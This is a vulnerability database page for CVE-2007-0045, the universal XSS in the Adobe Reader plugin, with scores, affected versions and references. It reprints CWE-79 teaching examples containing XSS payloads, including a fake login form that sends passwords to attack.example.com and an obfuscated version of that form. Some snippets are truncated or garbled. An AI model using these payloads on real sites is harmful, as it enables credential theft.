CVE-2007-0045 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Severity

43%

Complexity

86%

Confidentiality

48%

Multiple cross-site scripting (XSS) vulnerabilities in Adobe Acrobat Reader Plugin before 8.0.0, and possibly the plugin distributed with Adobe Reader 7.x before 7.1.4, 8.x before 8.1.7, and 9.x before 9.2, for Mozilla Firefox, Microsoft Internet Explorer 6 SP1, Google Chrome, Opera 8.5.4 build 770, and Opera 9.10.8679 on Windows allow remote attackers to inject arbitrary JavaScript and conduct other attacks via a .pdf URL with a javascript: or res: URI with (1) FDF, (2) XML, and (3) XFDF AJAX parameters, or (4) an arbitrarily named name=URI anchor identifier, aka "Universal XSS (UXSS)."

Multiple cross-site scripting (XSS) vulnerabilities in Adobe Acrobat Reader Plugin before 8.0.0, and possibly the plugin distributed with Adobe Reader 7.x before 7.1.4, 8.x before 8.1.7, and 9.x before 9.2, for Mozilla Firefox, Microsoft Internet Explorer 6 SP1, Google Chrome, Opera 8.5.4 build 770, and Opera 9.10.8679 on Windows allow remote attackers to inject arbitrary JavaScript and conduct other attacks via a .pdf URL with a javascript: or res: URI with (1) FDF, (2) XML, and (3) XFDF AJAX parameters, or (4) an arbitrarily named name=URI anchor identifier, aka "Universal XSS (UXSS)."

CVSS 2.0 Base Score 4.3. CVSS Attack Vector: network. CVSS Attack Complexity: medium. CVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N).

Demo Examples

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.


               
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as


               
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:


               
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:


               
</div></div>
</form>
<input type="submit" value="Login" />

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):


               
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:


               
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


               
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.


               
<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


               
Employee Name: <%= name %>
String name = rs.getString("name");

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.


               
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php


               
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php


               
echo '</div>';
exit;
//Print list of users to page
echo '<div class="userNames">'.$row['fullname'].'</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:


               
saveMessage($announceStr);//save HTML-formatted message to file; implementation details are irrelevant for this example.

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:


               
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:


               
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Overview

First reported 18 years ago

2007-01-03 21:28:00

Last updated 6 years ago

2018-10-16 16:30:00

Affected Software

Adobe Acrobat 3D

Adobe Acrobat Reader 6.0

6.0

Adobe Acrobat Reader 6.0.1

6.0.1

Adobe Acrobat Reader 6.0.2

6.0.2

アドビシステムズ アクロバット リーダー 6.0.3

6.0.3

Adobe Acrobat Reader 6.0.4

6.0.4

アドビシステムズ アクロバット リーダー 6.0.5

6.0.5

Adobe Acrobat Reader 7.0

7.0

Adobe Acrobat Reader 7.0.1

7.0.1

Adobe Acrobat Reader 7.0.2

7.0.2

アドビシステムズ アクロバット リーダー 7.0.3

7.0.3

Adobe Acrobat Reader 7.0.4

7.0.4

アドビシステムズ アクロバット リーダー 7.0.5

7.0.5

Adobe Acrobat Reader 7.0.6

7.0.6

アドビシステムズ アクロバット リーダー 7.0.7

7.0.7

Adobe Acrobat Reader 7.0.8

7.0.8

References

http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf

http://googlechromereleases.blogspot.com/2009/01/stable-beta-update-yahoo-mail-and.html

HPSBUX02153

SUSE-SA:2007:011

23483

Vendor Advisory

23691

Vendor Advisory

23812

Vendor Advisory

23877

Vendor Advisory

23882

Vendor Advisory

24457

Vendor Advisory

24533

Vendor Advisory

33754

Vendor Advisory

GLSA-200701-16

2090

1017469

1023007

SSA:2007-066-05

102847

http://www.adobe.com/support/security/advisories/apsa07-01.html

Vendor Advisory

http://www.adobe.com/support/security/advisories/apsa07-02.html

http://www.adobe.com/support/security/bulletins/apsb07-01.html

http://www.adobe.com/support/security/bulletins/apsb09-15.html

http://www.disenchant.ch/blog/hacking-with-browser-plugins/34

Exploit

http://www.gnucitizen.org/blog/danger-danger-danger/

Exploit, Vendor Advisory

http://www.gnucitizen.org/blog/universal-pdf-xss-after-party

VU#815960

Third Party Advisory, US Government Resource

http://www.mozilla.org/security/announce/2007/mfsa2007-02.html

RHSA-2007:0021

20070103 Universal XSS with PDF files: highly dangerous

Exploit

20070103 Re: Universal XSS with PDF files: highly dangerous

20070103 Adobe Acrobat Reader Plugin - Multiple Vulnerabilities

20070103 Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

Exploit

20070103 RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

20070104 Universal PDF XSS After Party

21858

TA09-286B

US Government Resource

ADV-2007-0032

Vendor Advisory

ADV-2007-0957

Vendor Advisory

ADV-2009-2898

Vendor Advisory

http://www.wisec.it/vulns.php?page=9

Exploit, Patch

adobe-acrobat-pdf-xss(31271)

oval:org.mitre.oval:def:6487

oval:org.mitre.oval:def:9693

RHSA-2007:0017

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